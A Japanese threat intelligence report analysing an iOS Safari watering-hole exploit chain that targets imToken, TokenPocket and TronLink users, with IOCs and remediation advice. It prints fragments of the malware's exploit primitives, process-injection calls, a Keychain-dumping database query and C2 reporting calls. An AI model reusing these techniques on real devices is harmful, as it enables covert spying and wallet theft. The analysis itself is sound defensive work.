背景


無料でVPSを配布するキャンペーンページですが、実際にはおとりです。公開ウェブアーカイブから復元されたページによると、2026年8月末に登録された event[.]polarnode[.]vip は https[:]//lk[.]wyincc[.]com/lk.js をプリロードスクリプトとして宣言しており、ページが操作可能になると自動で読み込まれ、訪問者がクリックする必要はありません。

标题: fig:

保存されたloaderサンプルをデコードした結果、これはiOS 18.4–18.6.2を実行するiPhone向けの純粋なSafari配信であり、最終的にファイル、キーチェーン(Keychain)、およびキーボード入力の収集を目的としており、対象は3つのウォレットアプリでした。このチェーンはGoogle Threat Intelligence Group(GTIG)が公開した DarkSword iOS のエクスプロイトチェーンと非常に一致しており、6つのCVEに対応する n-day の再利用です。


本分析は、1k[.]wyincc[.]com/lk[.]js を主体ローダーサンプルとして解析し、加えて urlscan が保存した lk[.]wyincc[.]com/lk[.]js のスナップショットに基づきます。6つの CVE と後利用能力に関する分析は、/dist/sandbox.html チェーンに限定します。

この手法は孤例ではありません。socket.dev の同時期の報告では、13 個の悪意ある Packagist テーマが WebKit を通じてカーネルへの悪用チェーンを構築し、デバイスデータとウォレットのリカバリーメモ(助記フレーズ)を窃取していることが開示されました。使用された CVE は、本報告の DarkSword と対応するものが重複しています。
本分析は静的証拠に基づくものであり、サンプルは実行しておらず、iframe も開いておらず、いかなる応答もブラウザまたは JavaScript エンジンに渡していません。フォレンジック段階でのリモートダウンロードおよび合成 C2 リクエストは、別途許可を得たうえで実施し、実デバイスデータは送信していません。本文中のコード能力の説明は、コードに該当する実装または呼び出しパスが存在することを示すものであり、関連操作が実際のデバイス上で成功したことを意味しません。

MistEye の応答

MistEye は SlowMist が自社開発した Web3 脅威インテリジェンスおよび動的セキュリティ監視システムで、セキュリティ監視と情報集約の能力を統合し、ユーザーにリアルタイムのリスク予警と資産の保護を提供します。

MistEye はこのサンプルを受け取った後、デバイス選別から iframe の隠蔽による投下、多段階の利用と後利用までの完全な攻撃チェーンを復元します。関連するドメイン、IP、悪意あるファイルの IOC を抽出し、悪意あるパッケージと IOC を脅威検知エンジンへ投入します。関連ユーザーへリスクアラートと対処提案を配信します。

以下、詳細な技術分析です。

デコード

このサンプルには改行がなく、1行で完結しています。難読化は3層で構成されています。まず 1,025 項目の文字列配列で、起動時に即時実行関数により全体を左シフトします。次に、各文字列に対して独自の Base64 と RC4 を適用します。独自の文字集合では小文字を大文字の前に配置しています。

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

デコード結果の SHA-256 は 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5 です。デコーダはテキストのみを読み取り、自身の Base64/RC4 変換を行うだけで、いかなる JavaScript も評価しません。

平文で復元された固定構成は以下のとおりです。サーバーは https[:]//lk[.]wyincc[.]com、優先 SDK エンドポイントは 13[.]248[.]210[.]49:36887、バックアップは 66[.]117[.]225[.]238:36887、20秒のハートビート、device_source は 782391、クライアント識別子は web-sdk V1.0 です。構成にはさらに RSA 公開鍵が埋め込まれており、SHA-256 は 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681 です。後続段階ではこれを使って SDK エンドポイントへ送る通信を暗号化します。

構成内で、3つのターゲットアプリは先に明示されています。imToken(im.token.app)、TokenPocket(com.global.wallet.ios)、TronLink(com.tronlink.hdwallet)。同じ識別子の組が、後にキーボード収集タスクでも再度登場します。

指向と投下


デコード後、最初に行うのは、ペイロードを誰に渡すかを決めることです。本文の主要分析の 1k[.]wyincc[.]com ローダーサンプルは、/iPhone OS (\d+)[_.](\d+)/i で navigator.userAgent を解析し、難読化された算術的簡略化の後のバージョン判定は実質的に次と等価になります:

if (major !== 18 || minor < 4 || minor \u003e 6) return;

このローダーのサンプルでは、形態として iPhone の iOS 18.4〜18.6.x のみが通過できます。ブラウザ判定にはさらに、Safari/、Version/、Mobile/... Safari の同時含有が必要で、加えて iOS 上の Chrome、Firefox、Opera、Edge(CriOS、FxiOS、OPiOS、EdgiOS)を除外し、さらに微信、QQ、Telegram、支付宝および一部のソーシャル/ニュースアプリの内蔵 WebView も除外します。正規表現は iPhone OS のみを一致させ、iPad の CPU OS は一致させません。

urlscan に保存されたページで実際に参照されるローダーのスナップショットでは、上記のブランチが削除されていません。iOS 18.4〜18.6.2 の iPhone は依然として /dist/sandbox.html に入ります。主要な分析で用いたローダーサンプルと比べて、さらに iPhone|iPod を使ってグローバルなデバイスマッチングを行い、iPod touch も対象に含めます。そして iOS 15.2 〜 17.1 のホワイトリストを追加し、これらの旧バージョンと iPod touch の引き継ぎ先として追加の /group.html ブランチを用います。

フィルタを通過しなかった訪問者を単純に無視しているわけではありません。コードは現在のページのすべての子要素を非表示にし、ユーザーにアドレスをコピーして Safari で開いてもらうための多言語プロンプトを表示します。これは互換性のある案内であると同時に、訪問者を悪用に必要なブラウザ環境へ能動的に誘導します。

标题: fig:

フィルタを通過した訪問者は、実行ロックおよびクールダウンのロジックに入ります。pe_injected、chain_locked のメッセージを受信すると、ローカル状態と cookie を書き込み、同一デバイスによる重複トリガーを防止します。UID はタイムスタンプとランダム文字で構成されます。2つのメッセージリスナーは event.data.type だけを確認し、event.origin または event.source は検証しません。そのため、同一ページ内の他の frame がこれらのメッセージを偽造して、ロックやクールダウンを事前にトリガーできます。

交付链

以下の完全なデリバリーチェーン分析は、2つのローダーが共通して保持する /dist/sandbox.html ブランチに適用されます。実際のページ参照で使用されるローダーのスナップショットには /group.html の並列ブランチも含まれますが、このパスは前置 WAF により HTTP 403 で遮断され、本調査では下流コンテンツを取得できませんでした。したがって、この記事では当該ブランチを後述する DarkSword 系統、6つの CVE、またはデータ収集能力に含めません。

iOS 18.4〜18.6.2 の iPhone でフィルタに合格した後、ローダーは隠し iframe を構築します。アドレスのテンプレートは次のとおりで固定されています。

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

初期ローダーから sandbox.html への構成引き継ぎは、URL の ?d= パラメータにより完了していることが確認されています。d は URL エンコードされた Base64 JSON を運び、そこには現在のサイト origin、hostname、utm_source、セッション UID、ならびに SDK エンドポイント、RSA 公開鍵、device_source、ターゲットウォレット設定が含まれます。UID とサイトフィールドは実行時に生成されるため、固定の第3段階 URL は事前に復元できません。追跡を継続するため、設定で再構築したパラメータを用いて、フォレンジック条件下で sandbox.html を取得しました。

iframe は画面外に保ち、不可視にするスタイル一式です。sandbox ページはその後、動的な script 要素で chunks/vendor.js をロードします。vendor は再度バージョンをチェックし、分岐します。iOS 18.6 では runtime.js をダウンロードして Blob Worker として封入します。iOS 18.4、18.5 では runtime-legacy.js をダウンロードし、さらに polyfill.js を取得してページ内で eval します。legacy RCE 経路は、ページコンテキストと Worker コンテキスト間の postMessage 伝達と同期された状態の利用により進められ、RCE 原語の確立とその後段への引き継ぎを調整します。これは、上記でロック/クールダウンの実行のみを担う pe_injected、chain_locked メッセージリスナーとは異なります。

後続の各区間は、直前の区間が成功した後にのみダウンロードされます。このチェーンには2層のサンドボックス脱出が含まれ、コードはそれぞれ SBX0、SBX1 として識別されます。SBX0 は実行を Web ページ内容プロセスから GPU プロセスへ移し、SBX1 はさらに GPU プロセスから mediaplaybackd へ移します。

  • runtime.js(18.6)では CVE-2025-43529(JavaScriptCore DFG JIT のガベージコレクション欠陥によるメモリ破壊)を利用し、CVE-2026-20700(dyld ユーザーモード PAC ポインタ認証の回避)と組み合わせて、JavaScriptCore/WebKit のリモートコード実行(RCE)原語を構築します:オブジェクトアドレス addrof、偽オブジェクト fakeobj、任意読み書き、PAC(ポインタ認証)処理、ネイティブ呼び出し。そして同期的に framework.js を取得して eval します。runtime-legacy.js と polyfill.js は 18.4/18.5 用に同様の原語を提供し、それぞれ CVE-2025-31277(JavaScriptCore JIT 最適化/型の混同によるメモリ破壊)と CVE-2026-20700 に対応します。

// runtime.js(18.6)——RCE 原語
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 は同一の fakeobj/scribble メカニズム上に構築

// runtime.js —— SBX0 引き継ぎ(eval framework.js)
print("[RCE] SBX0 サンドボックス脱出を開始...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

  • framework.js は SBX0 を実装——CVE-2025-14174(ANGLE/WebGL における特定操作パラメータの検証不足により発生する範囲外メモリの読み書き)を利用し、実行を Web ページ内容プロセスから GPU プロセスへ持っていきます。SBX0 SUCCEEDED 分岐の後に common.js をロードします。framework-legacy.js は legacy 対応物です。

// framework.js —— SBX0 入口
print("[SBX0] ======== sbx0_main.js eval 開始 ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js は SBX1 を実装——CVE-2025-43510(XNU カーネルの書き込み時コピー(COW)メモリ管理上の欠陥)を利用し、GPU プロセスから権限のより高い mediaplaybackd へ脱出します。そこにはその XPC エンドポイント、IOSurface/Scaler パス、そして sbx1sbx1_exp のルーチンが含まれ、その後 app.js をロードします。common-legacy.js は既存の app.js を再利用します。

// common.js —— SBX1 の mediaplaybackd XPC アンカーと権限昇格の引き継ぎ
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js は CVE-2025-43520(XNU 仮想ファイルシステム VFS のカーネル競合条件によるメモリ破壊)を利用して、カーネル読み書きと権限昇格の原語を構築します。カーネル読み書きのラッパ、MigFilterBypass、サンドボックス拡張 applySandboxEscape、クラッシュレポートの削除、そして3つのプラグインを取得して3つのシステムプロセスへ注入するための調整ロジックが含まれます。3つのプラグインは sync.js、auth.js、input.js で、これらに一対一対応する3つのタスクスクリプトも復元されます。

// app.js —— カーネル読み書きと権限昇格の入口
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

3つの注入経路はそれぞれ1回ずつ平文 HTTP GET でプラグインを取得し、その応答を対応プロセスへ渡します。

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

3つのターゲットはそれぞれ SpringBoard(sync.js)、securityd(auth.js)、kbd(input.js)です。復元された3つのタスクスクリプトは、それぞれこの3種類のプラグインに対応し、コードによりタスク代理(エージェント)の注入が調整されます。コード内の SBX0 SUCCEEDED、SBX1 SUCCEEDED は状態分岐用の文字列であり、我々が観測した「成功ログ」ではありません。

出所について一言補足します。lk[.]wyincc[.]com は legacy ブランチリソース(runtime-legacy.js、polyfill.js、framework-legacy.js、common-legacy.js)に対して HTTP 403 を返します。我々は 1k[.]wyincc[.]com という関連するペイロードホスティングノードから、この4つのファイルを取得しました。このノードは、以前に共有されている vendor.js、runtime.js 上でページが実際に参照しているホストへの応答とバイト単位で一致することを検証済みですが、これら legacy ファイルが取得できなかった lk の応答とバイト単位で等価であるとまでは主張しません。2つの条件付きリソース(powercuff_light.js、chain_status_overlay.js)は、ページ実際参照ホストからは 403、関連ペイロードホスティングノードからは 404 の HTML が返り、分析可能なスクリプトは得られませんでした。

DarkSword 系統

コードにはいくつかの独特な痕跡があり、公開されている記録済みのツールと一致しています。app.js には注釈 "If iOS \u003e= 18.4 we apply migbypass in order to bypass autobox restrictions"、および MigFilterBypass クラス、Chain.runPE() の後に Sandbox.applySandboxEscape()、さらに systemgroup.com.apple.osanalytics/DiagnosticReports/ ディレクトリの削除、startSandworm ツール参照が含まれます。バージョン分岐(18.4/18.5 と 18.6)および SBX0 → SBX1 → PE の段階の責務も、GTIG が公開した DarkSword の分析と一致します。Apple のセキュリティ公告により、対応する CVE と修正バージョンが別途確認されています。

難読化解除後の app.js には、直接識別できる痕跡がいくつか残っています:

// app.js —— migbypass バージョン分岐(DarkSword 独特の注釈)
// If iOS \u003e= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 \u0026\u0026 ver.minor \u003e= 4) { /* migbypass */ }

// 内嵌 MigFilterBypassThread.js 中の Chain カーネル読み書きのラッパ
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// startSandworm ツール参照(ソース内では注釈として保持)
// let baseKernel = startSandworm();

このため、ローカル段階を 6つの CVE に対応付けました。

GTIG が最初に DarkSword を観察した際、CVE-2025-43529、CVE-2026-20700、CVE-2025-14174 は野外の 0day に該当しました。本 2026 年 9 月の WYINCC 活動時点までに、6つの脆弱性はいずれも公開され、Apple により修正されています。したがって、今回の投下は DarkSword の 6つの脆弱性チェーンに対する n-day の再利用です。修正バージョンと歴史的な 0day 状態は、GTIG のレポートおよび Apple のセキュリティ公告に基づきます。

3つの C2 タスク

注入された代理(プロキシ)が最終的に何をするのかを明確にするため、別途許可のもとで合成 UID と空のサイトフィールドを用い、2つの SDK エンドポイントへそれぞれ最小の requestJsCode リクエストを発行しました。各エンドポイントにつき2回ずつです。全過程でデバイス登録、ハートビート、Keychain、キーボード、またはアプリデータは送信していません。

優先エンドポイント 13[.]248[.]210[.]49:36887 への 2回の接続はいずれも 54,773 バイトの応答を返しました。バックアップエンドポイント 66[.]117[.]225[.]238:36887 への 2回の接続はいずれも空を返しました。応答は AES-256-GCM で暗号化され、SSP2 フレームとしてカプセル化されています。保存したセッションキーでオフライン復号、LZFSE 解凍、SSP2/JSON/Base64 検証を行い、3つのタスクスクリプトを復元しました。3つのタスクはいずれも実行されませんでした。

3つのタスクはいずれも、注入された 1つのプロセスに対応します。

  • SpringBoard タスクは、サーバーの apps_json 構成に従って実行されます。アプリコンテナ、共有 AppGroup、または絶対パスを再帰的に列挙してファイルを分割アップロードし、各ファイルごとの SHA-256 とリジューム(中断再開)を付与します。task_type が 1 または 4 の場合は、さらに Base64 デコードしてサーバーから配信された JavaScript を eval し、その結果を返送します。

  • securityd タスクは /private/var/Keychains/keychain-2.db を開き、genp と inet テーブルをクエリし、プライベートクラス SecDbKeychainItemV7 で data blob を復号します。v_Data、acct、svce、agrp を抽出した後、報告します。

  • kbd タスクは前面アプリを監視します。対象ウォレットアプリが前面にある場合、キーボードの内部 ivar(_inputString、_contextBeforeInput、_contextAfterInput)をポーリングし、入力終了時またはアプリ切り替え時にキャッシュ内容を reportAppPwd として送信します。

キーチェーン収集

securityd タスクに対応するプラグインは auth.js です。app.js は GET /dist/plugins/auth.js を回収した後、InjectJS("securityd", ...) により securityd へコードを注入します。チェーン内で構築されたネイティブ呼び出し(dlsym、objc_msgSend)により、JavaScript から直接 ObjC を呼び出し、読み取り専用でキーチェーンライブラリを開きます。

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

それは genp(汎用パスワード)と inet(インターネットパスワード)の2つのテーブルだけを走査します(SELECT *、agrp が '%keyword%' に一致するものだけでフィルタ)。各テーブルは最大 500 行です。キーワードが空の場合は 1=1 に退化して全件を走査します。data 列は暗号化された BLOB です。コードは keybag を解読せず、すでに securityd 内に存在する SecDbKeychainItemV7 のプライベートクラスのメソッド(initWithData:decryptionKeybag:error: など)を動的に呼び出して復号します。秘密値 v_Data を読み出し、acct、svce、agrp を抽出します。

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 でダンプをトリガー(キーワードはサーバーの apps_json または content から取得)。task_type == 4 の場合は、サーバー側スクリプトの eval を介して追加の収集を拡張できます。その結果は reportKeychain を経て、SSP2 / AES-256-GCM / RSA で封入された C2 チャネル経由で報告されます。

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

まとめ

我々は、iOS 18.4〜18.6.2 の iPhone 上での「純粋な Safari」アクセスをトリガーとする、多段階の利用と後利用のための一式であることを確認しました。これは DarkSword の系統に対応します。リスクは3つのウォレットアプリに落ちます——imToken、TokenPocket、TronLink:コードはブラウザ RCE、2層サンドボックス脱出、カーネルの読み書き、そして SpringBoard、securityd、kbd へ代理(エージェント)を注入する能力を備えています。収集対象はファイル、Keychain、キーボード入力を網羅します。

GTIG が最初に DarkSword を観察した際に野外で 0day として存在していた 3項目はいずれも、今回の活動時点ではすでに公開され、Apple により修正済みです。WYINCC の現状の投入は、6つの脆弱性チェーンの n-day での再利用と評価できます。lk[.]wyincc[.]com のページで実際に参照されるローダーのスナップショットには、旧バージョンの iOS と iPod touch を対象にした /group.html ブランチも含まれますが、これは前置 WAF により HTTP 403 で遮断され、下流を取得できませんでした。したがって、6つの CVE とデータ収集の結論は /dist/sandbox.html ブランチにのみ適用されます。

推奨

  1. ネットワーク境界(プロキシ、DNS、EDR/NDR)で wyincc[.]com、polarnode[.]vip のドメインと3つの 36887 エンドポイントを遮断し、その後ログを検索して、iOS 18.4〜18.6.2 の iPhone UA が /dist/sandbox.html、/dist/chunks/、/dist/plugins/ などのパスへアクセスしているかを確認しました。また、iOS 15.2 〜 17.1(潜在的に iPod touch を含む)UA が /group.html へアクセスしているかも検索しました。前者は既知の完全なチェーンが露出していることを示します。後者は、本来取得できなかった下流ブランチへのヒットを確認できるだけで、6つの CVE やウォレットのデータ収集結論を直接当てはめることはできません。

  2. 自社サイトに当該スクリプトが注入されていた場合は、ページと CDN、オブジェクトストレージのキャッシュから当該スクリプトを削除し、テンプレート、タグマネージャー、広告システムの導入元を確認して、CSP/SRI によりサードパーティスクリプトがサイトコンテキストを継承することを制限します。

  3. 実際に投下ページへアクセスし、かつ iOS 18.4〜18.6.2 Safari を実行した iPhone デバイスを優先してフォレンジックし、Safari の履歴、WebKit クラッシュ、プロセスの異常、Keychain へのアクセス記録を収集します。/group.html にヒットした iOS 15.2 〜 17.1 の iPhone または iPod touch デバイスについては、同様の基本証拠を保持します。ただし、パスのヒットだけを根拠に利用成功やデータが収集されたと断言しないでください。

  4. 以下の3つの対象ウォレット(imToken、TokenPocket、TronLink)を利用するユーザーについては、デバイスフォレンジックの結果と組み合わせて、資格情報のローテーション、セッションの取り消し、チェーン上のアドレスと取引の監視が必要かどうかを判断します。アクセス履歴だけで秘密鍵または助記フレーズが漏えいしたと断言しないでください。

  5. デバイスを Apple が修正済みのバージョン(iOS/iPadOS 18.7.3 または 26.3 以上)へアップグレードし、後続の関連分析に使用するために元の応答、セッションキー、ハッシュを保持します。

IOC


ドメイン


1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip


IP


13[.]248[.]210[.]49

66[.]117[.]225[.]238

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

悪意あるファイル


filename: lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

filename: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

filename: vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

MistEye について


MistEye は SlowMist が自社開発した Web3 脅威インテリジェンスおよび動的セキュリティ監視プラットフォームで、API を通じてオープンパッケージエコシステムの悪意のある活動検知とサプライチェーンリスクの予警機能を提供します。


今回の作戦に関与するすべての悪意あるパッケージと IOC は、MistEye の脅威検知エンジンに投入済みです。開発者は API によりプロジェクト依存を自動検知でき、既知の悪意あるパッケージに該当するかを素早く判断し、対処の提案も取得できます。


📖 API ドキュメント:https://app.misteye.io/api-docs


🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan 軽量 CLI ツール。1行コマンドでプロジェクト依存関係とグローバルにインストールされたパッケージ内の既知の悪意あるパッケージをスキャンします。npm / PyPI / Cargo / Go / RubyGems のエコシステムに対応


🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skillsAI コーディング支援のセキュリティスキルパック。依存のインストールと URL アクセスの前に自動で MistEye セキュリティ検知をトリガー


🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-GuardDNS DNS セキュリティ保護ツール。悪意のあるドメインとリスクアクセスを検出し、フィッシング、C2 などのネットワーク脅威を識別します


本稿は SlowMist 脅威インテリジェンスチームが、MistEye 脅威インテリジェンスシステムおよび SlowMist Agent AI 主導の分析と組み合わせて作成しました。ご質問があれば、ぜひお問い合わせ/フィードバックください。


参考

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1